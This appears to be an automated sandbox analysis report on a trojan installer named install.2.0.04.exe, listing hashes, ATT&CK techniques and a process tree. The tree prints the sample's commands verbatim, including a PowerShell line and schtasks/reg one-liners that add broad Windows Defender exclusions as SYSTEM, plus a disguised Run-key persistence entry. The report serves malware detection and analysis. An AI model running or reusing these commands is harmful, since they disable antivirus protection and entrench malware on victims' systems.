66a5c99be2cf77d9709b312551d62ad4f10df4cc064f8a3cd78e580c2c1c4f60

Analysis

max time kernel
150s
max time network
104s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 02:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.04.exe
Size 30.5MB
Sample261024-cmndsahs4p
SHA256 66a5c99be2cf77d9709b312551d62ad4f10df4cc064f8a3cd78e580c2c1c4f60
MD5 17c7207b29fe0bc99e26581e48f740f3
SHA1 1cf7d24fc260afc3d8b502fc5700be9b05dfebe9
SHA512 d46ecf3c09f2b417448fc9825504797781f92f660e19b0670942430a25272bd2277065a559e87e9f1f2f532dfa2e8f0f7978112aec21a1f7e41b2533fdcbe4df
SSDEEP 196608:sZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYi:TC/p+HuPOc4f
TLSH
T11867181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\354ORq = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3940	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4664	VtwUGa.exe
2128	VtwUGa.exe

Loads dropped DLL 2 IoCs

pid	Process
4664	VtwUGa.exe
2128	VtwUGa.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\354ORq\\VtwUGa.exe\""	VtwUGa.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2584	cmd.exe
4488	cmd.exe
5456	cmd.exe
4828	cmd.exe
2116	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	VtwUGa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1576	cmd.exe
1152	cmd.exe
3116	cmd.exe
4392	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.04.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.04.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	VtwUGa.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	VtwUGa.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1816	schtasks.exe
760	schtasks.exe
2876	schtasks.exe
3328	schtasks.exe
1180	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
3516	install.2.0.04.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe
4664	VtwUGa.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeIncreaseQuotaPrivilege	3940	powershell.exe
Token: SeSecurityPrivilege	3940	powershell.exe
Token: SeTakeOwnershipPrivilege	3940	powershell.exe
Token: SeLoadDriverPrivilege	3940	powershell.exe
Token: SeSystemProfilePrivilege	3940	powershell.exe
Token: SeSystemtimePrivilege	3940	powershell.exe
Token: SeProfSingleProcessPrivilege	3940	powershell.exe
Token: SeIncBasePriorityPrivilege	3940	powershell.exe
Token: SeCreatePagefilePrivilege	3940	powershell.exe
Token: SeBackupPrivilege	3940	powershell.exe
Token: SeRestorePrivilege	3940	powershell.exe
Token: SeShutdownPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeSystemEnvironmentPrivilege	3940	powershell.exe
Token: SeRemoteShutdownPrivilege	3940	powershell.exe
Token: SeUndockPrivilege	3940	powershell.exe
Token: SeManageVolumePrivilege	3940	powershell.exe
Token: 33	3940	powershell.exe
Token: 34	3940	powershell.exe
Token: 35	3940	powershell.exe
Token: 36	3940	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4664 wrote to memory of 3940	4664	VtwUGa.exe	93
PID 4664 wrote to memory of 2584	4664	VtwUGa.exe	95
PID 2584 wrote to memory of 1816	2584	cmd.exe	97
PID 2584 wrote to memory of 1408	2584	cmd.exe	98
PID 2584 wrote to memory of 1624	2584	cmd.exe	101
PID 4664 wrote to memory of 4488	4664	VtwUGa.exe	105
PID 4488 wrote to memory of 760	4488	cmd.exe	108
PID 4488 wrote to memory of 5476	4488	cmd.exe	109
PID 4664 wrote to memory of 5456	4664	VtwUGa.exe	110
PID 5456 wrote to memory of 2876	5456	cmd.exe	113
PID 4664 wrote to memory of 4828	4664	VtwUGa.exe	114
PID 4488 wrote to memory of 5620	4488	cmd.exe	116
PID 5456 wrote to memory of 3276	5456	cmd.exe	117
PID 5456 wrote to memory of 5916	5456	cmd.exe	118
PID 4828 wrote to memory of 3328	4828	cmd.exe	119
PID 4828 wrote to memory of 4324	4828	cmd.exe	120
PID 4828 wrote to memory of 3280	4828	cmd.exe	122
PID 4664 wrote to memory of 2116	4664	VtwUGa.exe	123
PID 2116 wrote to memory of 1180	2116	cmd.exe	125
PID 2116 wrote to memory of 1320	2116	cmd.exe	128
PID 2116 wrote to memory of 1472	2116	cmd.exe	130
PID 1576 wrote to memory of 4752	1576	cmd.exe	133
PID 1152 wrote to memory of 4636	1152	cmd.exe	134
PID 4392 wrote to memory of 1972	4392	cmd.exe	135
PID 3116 wrote to memory of 1856	3116	cmd.exe	136

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4892

C:\Users\Public\354ORq\VtwUGa.exe
"C:\Users\Public\354ORq\VtwUGa.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\354ORq\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\354ORq\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1816
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1408
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4488
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:760
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5476
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2876
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3276
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3328
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4324
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1180
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1320
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1472

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\354ORq" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1152
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\354ORq" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4636

C:\Users\Public\354ORq\VtwUGa.exe
"C:\Users\Public\354ORq\VtwUGa.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2128

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5380

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3116
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1856

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4392
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1972

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 0c0c7b6ffee9f2f1b7d688b2c57db7c9638ba814f36d7a1bdb98f5458cc13c84
MD5 e1c9fd3a58e9cd0ba15f2afabb923e33
SHA1 e62d960122b34f20232f225e537867420ea3ce8a
SHA512 cdc89328de1cab934d2e0fdfae08cef1e9a3c663ed9fc73dae84225ccc36472bcc1b584c4e281408bb321f89640f700031e9a4ba430bc1e279e7ae1bb3cc87ed
TLSH
T1D831A4BB1B7DB8828F3A8DA015C5B1261CF4E2905DC9049A6204C494AE443B36E4D50D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 e8ff3ea7013767d4d43b2e29aa6318dfdaa4ed7bef397acd82cea62836066316
MD5 c9bc244a89c8d9e59cc6b682cdaab4da
SHA1 fd400cac714a378d42d861aabd789293fa344bd7
SHA512 90a7aa123f45eac8d7b85d1589fa0f418d903203e6afa22bdbddedc8319cb79e0af557d21e9bb6dfaf45eeb66d8a61e063ddd106ed33e1d83c3aa63fcb97a659
TLSH
T1F331D8968F341016AF0C8F2552C5E73FADF161745CA84811653DC1AB4919BFBBFC5408
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 be7c43591daa660b41d29135664ab0bae687f5b4ea783657e287ee753b88be1b
MD5 91c5cc99236774a39ff9ffc573473182
SHA1 a30f62a3497b6d9a38b891a8da41bbf4dd3114c1
SHA512 5dc749461a24c42f3feb96df3cb94a6842d3d51cf5bb2f91aa352b9d1729c455718fdb7ab1b064860fca4f710e6d37f2560fe9c91c22c774a90e93d4a0b213dc
TLSH
T11BF05C0C05B8412EF172DE3C86D93A9A166FF71B241245940AF44B0D62169453D23576
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 6760df5c39982af05fe25e2474504f93420176bd7f3069d9aac809f645a751c9
MD5 9c5ee94c4957cd8b11a389a839e83091
SHA1 42668df0ce8b04d4c90af5fc72c03f4e9462bea4
SHA512 4984dfe0e59f3bc330f3bae6e5120fbabc6852b871a74ac08c37d066ad93f2b594a0e737ed20ebb109ebc479dd101d749276ff465a8836afcc73475fd4a6a8b9
TLSH
T167F05C3596E9011FF07FC5F886C6BAB15979E523504A12FE09F542445E62D011C83269
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_zlcknruw.lfn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zlcknruw.lfn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\354ORq\UxEnhance64.dll
Size 3.1MB
SHA256 9d062ab36f21c3ce908e6bb06f2d44f0f9402b70dc1df76881c5e68be3887c17
MD5 f04feb84f096bdf5aafbba35fcfd7c96
SHA1 e20da34ea02be24a9047e950969d82435fcd7982
SHA512 f14dedc728067afc7c8a1c788b1d8f46a0459b0260ba5ef2c887f93e1eeb9f073dbe1101e3f4ac3a81f8d0d38788c9d261ad7f788ebb2accb025502ca6409ff4
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+E:P9m29xx3Tiqt06ox6+z2rNNrKoE
TLSH
T10BE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VtwUGa.exe

Path C:\Users\Public\354ORq\VtwUGa.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\354ORq\adoresd.dat
Size 4.8MB
SHA256 edb8d35cbbe0aa499c5b6b2d2430d275b2f89099c0c3e366ef68c94712c8e18b
MD5 fa1d5ebb7a7f128047271c0543ee5dc9
SHA1 510ef78ca27b31e56c888b3440e6885bd5a85598
SHA512 e3fa4d3bdda761b7296b83c04d6d78bd530f0b32093fc9061ac0d63891c79defa4f381411e6f824974e9dfc08cf1e2a10de420947f1d2d91fd3f10d690d3122c
SSDEEP 98304:gWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:gWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1483633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\354ORq\msadox.tb
Size 8KB
SHA256 538e72b3b631a30a7b7b667e9ae41a79d26618b15d4028b067c13d33ca6c1f02
MD5 2aa728c9ff13c2a4a553a5da6e329300
SHA1 711cfad1d921c2e0909ce9e699d001e53c3e1952
SHA512 a0bfd1a78548a9c05a3fe66973230a88e63d269d4d8b1435505b36e402966a374c624d2530331576128ca2517794144880e961d7bf5b44e23e29089931f22ece
SSDEEP 192:CqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:CsZqZOXQ3uqvR2Kfzp
TLSH
T15B029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2128-592-0x00007FF9732B0000-0x00007FF9732B2000-memory.dmp

Download

memory/2128-589-0x0000015078030000-0x0000015078907000-memory.dmp

Download

memory/2128-578-0x00007FF950280000-0x00007FF95079E000-memory.dmp

Download

memory/2128-581-0x0000015078030000-0x0000015078907000-memory.dmp

Download

memory/2128-584-0x0000015078030000-0x0000015078907000-memory.dmp

Download

memory/2128-591-0x0000015078030000-0x0000015078907000-memory.dmp

Download

memory/2128-583-0x00007FF9732C0000-0x00007FF9732C2000-memory.dmp

Download

memory/2128-588-0x0000015078030000-0x0000015078907000-memory.dmp

Download

memory/2128-590-0x0000015078030000-0x0000015078907000-memory.dmp

Download

memory/3516-526-0x00007FF96ADB0000-0x00007FF96ADC2000-memory.dmp

Download

memory/3516-0-0x00000000025D0000-0x00000000025DE000-memory.dmp

Download

memory/3516-525-0x00000000025D0000-0x00000000025DE000-memory.dmp

Download

memory/3516-503-0x00007FF96ADB0000-0x00007FF96ADC2000-memory.dmp

Download

memory/3516-1-0x00000000025E0000-0x00000000025EC000-memory.dmp

Download

memory/3940-613-0x0000022E9CF40000-0x0000022E9CFF2000-memory.dmp

Download

memory/3940-616-0x0000022E9CF10000-0x0000022E9CF1A000-memory.dmp

Download

memory/3940-603-0x0000022E9C9D0000-0x0000022E9C9F2000-memory.dmp

Download

memory/3940-612-0x0000022E9CEF0000-0x0000022E9CF0E000-memory.dmp

Download

memory/4664-537-0x0000025F08E60000-0x0000025F09737000-memory.dmp

Download

memory/4664-566-0x0000025F08E60000-0x0000025F09737000-memory.dmp

Download

memory/4664-565-0x0000025F08E60000-0x0000025F09737000-memory.dmp

Download

memory/4664-561-0x0000025F097D0000-0x0000025F0985A000-memory.dmp

Download

memory/4664-562-0x0000025F097D0000-0x0000025F0985A000-memory.dmp

Download

memory/4664-560-0x0000025F097D0000-0x0000025F0985A000-memory.dmp

Download

memory/4664-563-0x0000025F097D0000-0x0000025F0985A000-memory.dmp

Download

memory/4664-557-0x0000025F08E60000-0x0000025F09737000-memory.dmp

Download

memory/4664-559-0x0000025F08430000-0x0000025F0847E000-memory.dmp

Download

memory/4664-551-0x0000025F08E60000-0x0000025F09737000-memory.dmp

Download

memory/4664-545-0x0000025F08E60000-0x0000025F09737000-memory.dmp

Download

memory/4664-547-0x0000025F08E60000-0x0000025F09737000-memory.dmp

Download

memory/4664-546-0x0000025F08E60000-0x0000025F09737000-memory.dmp

Download

memory/4664-540-0x0000025F08E60000-0x0000025F09737000-memory.dmp

Download

memory/4664-544-0x0000025F08E60000-0x0000025F09737000-memory.dmp

Download

memory/4664-539-0x00007FF9732C0000-0x00007FF9732C2000-memory.dmp

Download

memory/4664-532-0x00007FF950280000-0x00007FF95079E000-memory.dmp

Download

memory/4664-531-0x00007FF9732B0000-0x00007FF9732B2000-memory.dmp

Download